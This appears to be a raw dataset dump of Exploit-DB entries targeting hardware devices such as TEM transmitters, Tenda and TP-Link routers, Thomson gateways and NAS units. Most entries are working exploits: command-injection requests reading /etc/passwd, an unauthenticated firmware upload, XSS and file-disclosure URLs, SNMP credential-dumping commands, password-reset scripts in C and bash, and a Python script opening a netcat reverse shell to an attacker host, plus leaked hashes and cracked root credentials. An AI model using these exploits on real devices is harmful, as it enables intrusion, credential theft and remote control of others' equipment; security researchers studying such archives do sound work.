deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51827
Description: TEM Opera Plus FM Family Transmitter 35.45 - Remote Code Execution
Type: remote
Platform: hardware
Date: 2024-02-27
Author: LiquidWorm

Exploit:
TEM Opera Plus FM Family Transmitter 35.45 Remote Code Execution


Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.
Product web page: https://www.tem-italy.it
Affected version: Software version: 35.45
                  Webserver version: 1.7

Summary: This new line of Opera plus FM Transmitters combines very
high efficiency, high reliability and low energy consumption in compact
solutions. They have innovative functions and features that can eliminate
the costs required by additional equipment: automatic exchange of audio
sources, built-in stereo encoder, integrated RDS encoder, parallel I/O
card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP
Webserver.

Desc: The device allows access to an unprotected endpoint that allows
MPFS File System binary image upload without authentication. The MPFS2
file system module provides a light-weight read-only file system that
can be stored in external EEPROM, external serial Flash, or internal
Flash program memory. This file system serves as the basis for the
HTTP2 web server module, but is also used by the SNMP module and is
available to other applications that require basic read-only storage
capabilities. This can be exploited to overwrite the flash program
memory that holds the web server's main interfaces and execute arbitrary
code.

Tested on: Webserver


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5799
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5799.php


18.08.2023

--


POST /mpfsupload HTTP/1.1
Host: 192.168.1.2:8000
Content-Length: 251
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----joxypoxy2
User-Agent: MPFS2_PoC/2.0c
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------joxypoxy2
Content-Disposition: form-data; name="i"; filename="MPFSimg2.bin"
Content-Type: application/octet-stream

MPFS...<CGI BINARY PHONE HOME>
-----joxypoxy2--


HTTP/1.1 200 OK
Connection: close
Content-Type: text/html

<html><body style="margin:100px"><b>MPFS Update Successful</b><p><a href="/">Site main page</a></body></html>
Exploit-DB #50916
Description: Tenda HG6 v3.3.0 - Remote Command Injection
Type: remote
Platform: hardware
Date: 2022-05-11
Author: LiquidWorm

Exploit:
# Exploit Title: Tenda HG6 v3.3.0 - Remote Command Injection
# Exploit Author: LiquidWorm

Tenda HG6 v3.3.0 Remote Command Injection Vulnerability


Vendor: Tenda Technology Co.,Ltd.
Product web page: https://www.tendacn.com
                  https://www.tendacn.com/product/HG6.html
Affected version: Firmware version: 3.3.0-210926
                  Software version: v1.1.0
                  Hardware Version: v1.0
                  Check Version: TD_HG6_XPON_TDE_ISP

Summary: HG6 is an intelligent routing passive optical network
terminal in Tenda FTTH solution. HG6 provides 4 LAN ports(1*GE,3*FE),
a voice port to meet users' requirements for enjoying the Internet,
HD IPTV and VoIP multi-service applications.

Desc: The application suffers from an authenticated OS command injection
vulnerability. This can be exploited to inject and execute arbitrary
shell commands through the 'pingAddr' and 'traceAddr' HTTP POST parameters
in formPing, formPing6, formTracert and formTracert6 interfaces.

Tested on: Boa/0.93.15


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5706
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5706.php


22.04.2022

--


ping.asp:
---------

POST /boaform/formPing HTTP/1.1
Host: 192.168.1.1

pingAddr=;ls /etc&wanif=65535&submit-url=/ping.asp&postSecurityFlag=2564

---
TZ
app.gwdt
bftpd.conf
buildtime
check_version.txt
config
config.csv
config_default.xml
config_default_hs.xml
dhclient-script
dnsmasq.conf
ethertypes
factory_default.xml
ftpdpassword
group
hardversion
inetd.conf
init.d
inittab
innversion
insdrv.sh
irf
mdev.conf
omci_custom_opt.conf
omci_ignore_mib_tbl.conf
omci_ignore_mib_tbl_10g.conf
omci_mib.cfg
orf
passwd
ppp
profile
protocols
radvd.conf
ramfs.img
rc_boot_dsp
rc_voip
release_date
resolv.conf
rtk_tr142.sh
run_customized_sdk.sh
runoam.sh
runomci.sh
runsdk.sh
samba
scripts
services
setprmt_reject
shells
simplecfgservice.xml
smb.conf
softversion
solar.conf
solar.conf.in
ssl_cert.pem
ssl_key.pem
version
wscd.conf


ping6.asp:
----------

POST /boaform/formPing6 HTTP/1.1
Host: 192.168.1.1

pingAddr=;ls&wanif=65535&go=Go&submit-url=/ping6.asp

---
boa.conf
web


tracert.asp:
------------

POST /boaform/formTracert HTTP/1.1
Host: 192.168.1.1

traceAddr=;pwd&trys=1&timeout=5&datasize=38&dscp=0&maxhop=10&go=Go&submit-url=/tracert.asp

---
/home/httpd


tracert6.asp:
-------------

POST /boaform/formTracert6 HTTP/1.1
Host: 192.168.1.1

traceAddr=;cat /etc/passwd&trys=1&timeout=5&datasize=38&maxhop=10&go=Go&submit-url=/tracert6.asp

---
admin:$1$$CoERg7ynjYLsj2j4glJ34.:0:0::/tmp:/bin/sh
adsl:$1$$m9g7v7tSyWPyjvelclu6D1:0:0::/tmp:/bin/sh
nobody:x:0:0::/tmp:/dev/null
user:$1$$ex9cQFo.PV11eSLXJFZuj.:1:0::/tmp:/bin/sh
Exploit-DB #5150
Description: Thecus N5200Pro NAS Server Control Panel - Remote File Inclusion
Type: remote
Platform: hardware
Date: 2008-02-18
Author: Crackers_Child

Exploit:
Thecus N5200Pro NAS Server Control Panel Remote File Ä°nclude


Author : Crackers_Child

Mail   : cashr00t@hotmail.com

Bug in : usrgetform.html


<?php
    $htm=$_REQUEST['name'];
    require_once("/img/htdocs/webconfig");
    require_once("/img/www/inc/function.php");
    get_sysconf();
    $version=trim(shell_exec("/bin/cat /img/version"));
    $model=trim(shell_exec('/bin/cat /proc/thecus_io | awk -F: \'/CPUFLAG/{printf("%s", $2)}\''));
    if($model=="1"){
      $model_name=$webconfig['product_no'].$webconfig['pro'];
    }else{
      $model_name=$webconfig['product_no'];
    }
    if (!$htm){
        print 'no name given';
        exit;
    }
    if ($htm=='lang') $htm='../pub/lang';
    session_start();
    header('Content-type: text/html;charset=utf-8');
    $lang='en';
    if (isset($_SESSION['lang'])){$lang=$_SESSION['lang'];};
    ob_start();
    include("$htm.htm");
    $html=ob_get_contents();
    ob_end_clean();

    include_once('header.html');
?>



Exploit : www.site.com:9443/usr/usrgetform.html?name=Shelz?

Ä°nfo : http://www.thecus.com/products_over.php?cid=11&pid=8

Greetz: Str0ke

# milw0rm.com [2008-02-18]
Exploit-DB #38242
Description: Thomson CableHome Gateway (DWG849) Cable Modem Gateway - Information Exposure
Type: remote
Platform: hardware
Date: 2015-09-19
Author: Matthew Dunlap

Exploit:
# Exploit Title: Information Exposure via SNMP on Thomson CableHome Gateway
[MODEL: DWG849] Cable Modem Gateway
# Google Dork: n/a
# Date: 09/18/2015
# Exploit Author: Matt Dunlap
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gateways
# Software Link: n/a
# Version: Thomson CableHome Gateway <<HW_REV: 1.0; VENDOR: Thomson; BOOTR:
2.1.7i; SW_REV: STC0.01.16; MODEL: *DWG849*>>
# Tested on: Ubuntu 14.04.3
# CVE : Not reported to vendor (yet)

Information Exposure via SNMP on Thomson CableHome Gateway [MODEL: DWG849]
Cable Modem Gateway

Affected Product:

Thomson CableHome Gateway <<MODEL: DWG849>> Cable Modem Gateway

NOTE: The model DWG850-4 is open to the same attack but doesn’t come with
the remote administration enabled (no web interface, no telnet)

Severity Rating:

Important

Impact:

Username and password for the user interface as well as wireless network
keys can be disclosed through SNMP.

At the time of posting this there are 61,505 results on Shodan for this
model.
By default there are 2 open ports: 161 (snmp), 8080 (web administration)

The default password of 4GIt3M has been set on every unit I’ve tested so far

Description:

The Thomson CableHome Gateway DWG849 Cable Modem Gateway product
specifications include SNMP v2 & v3 under Network Management. The
management information bases (MIBs) of various device subsystems on the
DWG849 allows local\remote network users to discover user interface
credentials and wireless network key values through simple SNMP requests
for the value of these variables. Given the security authentication in
SNMPv1 and SNMPv2c do not offer sufficient protection, this increases the
risk that the values can be disclosed through SNMP using the default
read-only community “private”.

Object Identifiers (OIDs):

Make, Model, Software Version:
1.3.6.1.2.1.1.1.0
1.3.6.1.2.1.1.3.0

Web Interface Username \ Password (DEFAULT: admin \ Uq-4GIt3M)
1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0
1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0

SSID and KEY
1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32
1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32

Guest Network OIDs
Other OIDs of interest include
1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33
1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34
1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35

[POC]
snmpget -t15 -v 2c -c private [host] 1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0
1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32
1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32

This issue has not been reported to the vendor.
Exploit-DB #38850
Description: Thomson Reuters Velocity Analytics - Remote Code Injection
Type: remote
Platform: hardware
Date: 2013-11-22
Author: Eduardo Gonzalez

Exploit:
source: https://www.securityfocus.com/bid/63880/info

Thomson Reuters Velocity Analytics is prone to a vulnerability that lets attackers inject and execute arbitrary code.

Successfully exploiting this issue may allow an attacker to upload and execute arbitrary code with SYSTEM privileges.

Thomson Reuters Velocity Analytics 6.94 build 2995 is vulnerable; other versions may also be affected. 

http://www.example.com/VhttpdMgr?action=importFile&fileName={BACKDOOR}
Exploit-DB #27319
Description: Thomson SpeedTouch 500 Series - NewUser Function 31 Variable Persistent User Creation
Type: remote
Platform: hardware
Date: 2006-02-25
Author: Preben Nylokken

Exploit:
source: https://www.securityfocus.com/bid/16839/info

The SpeedTouch 500 series are prone to a cross-site scripting vulnerability. This issue is due to a failure in the devices to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the compromise of the device.

http://www.exmaple.com/cgi/b/intfs/_intf_/ov/?0=10&1=usrAccApply&34=NewUser&36=1&33=test&31=[code here]
Exploit-DB #30882
Description: Thomson SpeedTouch 716 - 'URL' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-11-10
Author: Remco Verhoef

Exploit:
source: https://www.securityfocus.com/bid/26808/info

Thomson SpeedTouch 716 is prone to a cross-site scripting vulnerability because the device fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Thomson SpeedTouch 716 firmware 6.2.17.50 and 5.4.0.14; other versions may also be affected. 

http://www.example.com/cgi/b/ic/connect/?nm=1&client=192.168.1.72&server=&event=ServerTimeout&url=<script>alert('bla');</script>
Exploit-DB #9432
Description: THOMSON ST585 - 'user.ini' Arbitrary Disclosure
Type: remote
Platform: hardware
Date: 2009-08-13
Author: aBo MoHaMeD

Exploit:
====================================>
System Information 

   
Product Name:  ST585
Serial Number:  CP0734JTMTR
Software Release:  6.2.29.2
Software Variant:  AA
Boot Loader Version: 1.0.8
Product Code:  36029470
Board Name:  BANT-W

 ---#[ exploit ]#---

 [#] - http://192.168.1.254./cgi/b/backup/user.ini


  ########################
  # Viva Kingdom Of Saudi Arabia  #
  #######################

# milw0rm.com [2009-08-13]
Exploit-DB #829
Description: Thomson TCW690 - POST Password Validation
Type: remote
Platform: hardware
Date: 2005-02-19
Author: MurDoK

Exploit:
/*****************************************************************   
*     Thomson TCW690 POST Password Validation exploit
*   
*  Tested with hardware version 2.1 and software version ST42.03.0a 
*  Bug found by: MurDoK <murdok.lnx at gmail.com> 
*  Date: 02.19.2005
*
*	sh-3.00$ gcc mdk_tcw690.c -o tcw690
*	sh-3.00$ ./tcw690 192.168.0.1 123
*	*****************************************
*	Thomson TCW690 POST Password Validation
*	Change password exploit coded by MurDoK
*	*****************************************
*	
*	[1] Connecting...
*	[2] Sending POST request...
*	[3] Done! go to http://192.168.0.1
*	sh-3.00$
*
* fuck AUNA :/
******************************************************************/ 
 
#include <netdb.h> 
 
int i=0, x=0, fd; 
struct sockaddr_in sock; 
struct hostent *he; 

char badcode[1000] = 
"POST /goform/RgSecurity HTTP/1.1\r\n" 
"Connection: Keep-Alive\r\n" 
"User-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.4.28) KHTML/3.3.2 (like Gecko)\r\n" 
"Referer: http://192.168.0.1/RgSecurity.asp\r\n" 
"Pragma: no-cache\r\n" 
"Cache-control: no-cache\r\n" 
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\r\n" 
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate\r\n" 
"Accept-Charset: iso-8859-15, utf-8;q=0.5, *;q=0.5\r\n" 
"Accept-Language: es, en\r\n" 
"Host: 192.168.0.1\r\n" 
"Content-Type: application/x-www-form-urlencoded\r\n" 
"Authorization: Basic\r\n" 
"Content-Length: 62\r\n" 
"\r\n"; 
//"[CREDENTIAL_REDACTED]=hack1&RestoreFactoryNo=0x00"; 
 
 
int main(int argc, char *argv[]) { 
 
//	system("clear"); 
	printf("*****************************************\n"); 
	printf(" Thomson TCW690 POST Password Validation\n"); 
	printf(" Change password exploit coded by MurDoK\n"); 
	printf("*****************************************\n\n"); 
	
	if(argc<3) { 
		printf("Usage: %s <router IP> <new_password>\n\n", argv[0]); 
		exit(1); 
	} 
	 
	fd = socket(AF_INET, SOCK_STREAM, 0); 
	 
	he = gethostbyname(argv[1]); 
	memset((char *) &sock, 0, sizeof(sock)); 
	 
	sock.sin_family = AF_INET; 
	sock.sin_port=htons(80); 
	sock.sin_addr.s_addr=*((unsigned long*)he->h_addr); 
	 
	printf("[1] Connecting... \n"); 
	 
	if ((connect(fd, (struct sockaddr *) &sock, sizeof(sock))) < 0) { 
		printf("ERROR: Can't connect to host!\n"); 
		return 0; 
	} 
 
	strcat(badcode, "Password="); 
	strcat(badcode, argv[2]); 
	strcat(badcode, "&PasswordReEnter="); 
	strcat(badcode, argv[2]); 
	strcat(badcode, "&RestoreFactoryNo=0x00"); 
	 
	printf("[2] Sending POST request...\n"); 
	write(fd, badcode, strlen(badcode)); 

	printf("[3] Done! go to http://%s\n", argv[1]); 
	 
	close(fd); 
	 
return 1; 
}

// milw0rm.com [2005-02-19]
Exploit-DB #10362
Description: THOMSON TG585n 7.4.3.2 - 'user.ini' Arbitrary Disclosure
Type: remote
Platform: hardware
Date: 2009-12-09
Author: AnTi SeCuRe

Exploit:
THOMSON TG585n (user.ini) Arbitrary Download Vulnerability

[~] Author : AnTi SeCuRe
[~] Email : AnTi-SeCuRe@HoTMaiL.coM
[~] TeaM : SauDi ViRuS TeaM
[~] Site : WwW.VxX9.Cc

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

System Information

Product Name: TG585n
Serial Number: CP0810KTJSU
Software Release: 7.4.3.2
Software Variant: AA
Boot Loader Version: 1.0.2
Product Code: 36342870
Board Name: CANT-J

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



[~] exploit :

[~] http://192.168.1.254./cgi/b/backup/user.ini
Exploit-DB #51732
Description: Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change
Type: remote
Platform: hardware
Date: 2023-10-09
Author: LiquidWorm

Exploit:
#!/bin/bash
: "
Exploit Title: Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change
Exploit Author: LiquidWorm

Vendor: Tinycontrol
Product web page: https://www.tinycontrol.pl
Affected version: <=1.58a, HW 3.8

Summary: Lan Controller is a very universal
device that allows you to connect many different
sensors and remotely view their readings and
remotely control various types of outputs.
It is also possible to combine both functions
into an automatic if -> this with a calendar
when -> then. The device provides a user interface
in the form of a web page. The website presents
readings of various types of sensors: temperature,
humidity, pressure, voltage, current. It also
allows you to configure the device, incl. event
setting and controlling up to 10 outputs. Thanks
to the support of many protocols, it is possible
to operate from smartphones, collect and observ
the results on the server, as well as cooperation
with other I/O systems based on TCP/IP and Modbus.

Desc: The application suffers from an insecure access
control allowing an unauthenticated attacker to
change accounts passwords and bypass authentication
gaining panel control access.

Tested on: lwIP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5787
Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5787.php


18.08.2023

"

set -euo pipefail
IFS=$'\n\t'

if [ $# -ne 2 ]; then
    echo -ne '\nUsage: $0 [ipaddr] [desired admin pwd]\n\n'
    exit
fi

IP=$1
PW=$2

EN=$(echo -n $PW | base64)

curl -s http://$IP/stm.cgi?auth=00YWRtaW4=*$EN*dXNlcg==*dXNlcg==
# ?auth=00 (disable authentication, disable upgrade), https://docs.tinycontrol.pl/en/lk3/api/access/
echo -ne '\nAdmin password changed to: '$PW
Exploit-DB #40275
Description: TOPSEC Firewalls - 'ELIGIBLEBACHELOR' Remote Command Execution
Type: remote
Platform: hardware
Date: 2016-08-19
Author: Shadow Brokers

Exploit:
# Exploit Title: TOPSEC Firewalls - Remote Exploit (ELIGIBLEBACHELOR)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: http://www.topsec.com.cn/


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40275.zip
Exploit-DB #51677
Description: TP-Link Archer AX21 - Unauthenticated Command Injection
Type: remote
Platform: hardware
Date: 2023-08-10
Author: Voyag3r

Exploit:
#!/usr/bin/python3
# 
# Exploit Title: TP-Link Archer AX21 - Unauthenticated Command Injection
# Date: 07/25/2023
# Exploit Author: Voyag3r (https://github.com/Voyag3r-Security)
# Vendor Homepage: https://www.tp-link.com/us/
# Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.tenable.com/cve/CVE-2023-1389)
# Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2.0
# CVE: CVE-2023-1389
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test. 
# The author will not be held responsible for any use or damage caused by this 
# program. 
# 
# CVE-2023-1389 is an unauthenticated command injection vulnerability in the web
# management interface of the TP-Link Archer AX21 (AX1800), specifically, in the
# *country* parameter of the *write* callback for the *country* form at the 
# "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is 
# possible to run commands as root. Execution requires sending the request twice;
# the first request sets the command in the *country* value, and the second request 
# (which can be identical or not) executes it. 
# 
# This script is a short proof of concept to obtain a reverse shell. To read more 
# about the development of this script, you can read the blog post here:
# https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax21-d7a60f259e94
# Before running the script, start a nc listener on your preferred port -> run the script -> profit

import requests, urllib.parse, argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress warning for connecting to a router with a self-signed certificate
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Take user input for the router IP, and attacker IP and port
parser = argparse.ArgumentParser()

parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="Router name")
parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help="Attacker IP")
parser.add_argument("-p", "--port",dest = "port", default = "9999", help="Local port")

args = parser.parse_args()

# Generate the reverse shell command with the attacker IP and port
revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attacker + " " + args.port + " >/tmp/f")

# URL to obtain the reverse shell
url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + revshell + ")"

# Send the URL twice to run the command. Sending twice is necessary for the attack
r = requests.get(url_command, verify=False)
r = requests.get(url_command, verify=False)
Exploit-DB #38186
Description: TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi - Hard-Coded Credentials
Type: remote
Platform: hardware
Date: 2015-09-15
Author: LiquidWorm

Exploit:
TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials
Vendor: TP-LINK Technologies Co., Ltd.
Product web page: http://www.tp-link.us
Affected version: NC220 V1 1.0.28 Build 150629 Rel.22346
                  NC200 V1 2.0.15 Build 150701 Rel.20962

Summary: Designed with simplicity in mind, TP-LINK's Cloud Cameras are a
fast and trouble free way to keep track on what's going on in and around
your home. Video monitoring, recording and sharing has never been easier
with the use of TP-LINK’s Cloud service. The excitement of possibilities
never end.

Desc: NC220 and NC200 utilizes hard-coded credentials within its Linux
distribution image. These sets of credentials (root:root) are never exposed
to the end-user and cannot be changed through any normal operation of the
camera.

Tested on: Linux


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5255
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5255.php


20.07.2015

--


Initializing...
root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin |grep root
root_uImage
p2048_newroot.cer
root:$1$gt7/dy0B$6hipR95uckYG1cQPXJB.H.:0:0:Linux User,,,:/home/root:bin/sh
Nproot:x:0:
root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin | grep home > crack.me
root@zslab:~# john crack.me
Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
root             (root)
guesses: 1  time: 0:00:00:00 DONE (Mon Aug  3 05:52:55 2015)  c/s: 400  trying:
root - Userroot
Use the "--show" option to display all of the cracked passwords reliably
root@zslab:~# john crack.me --show
root:root:0:0:Linux User,,,:/home/root:/bin/sh

1 password hash cracked, 0 left
root@zslab:~#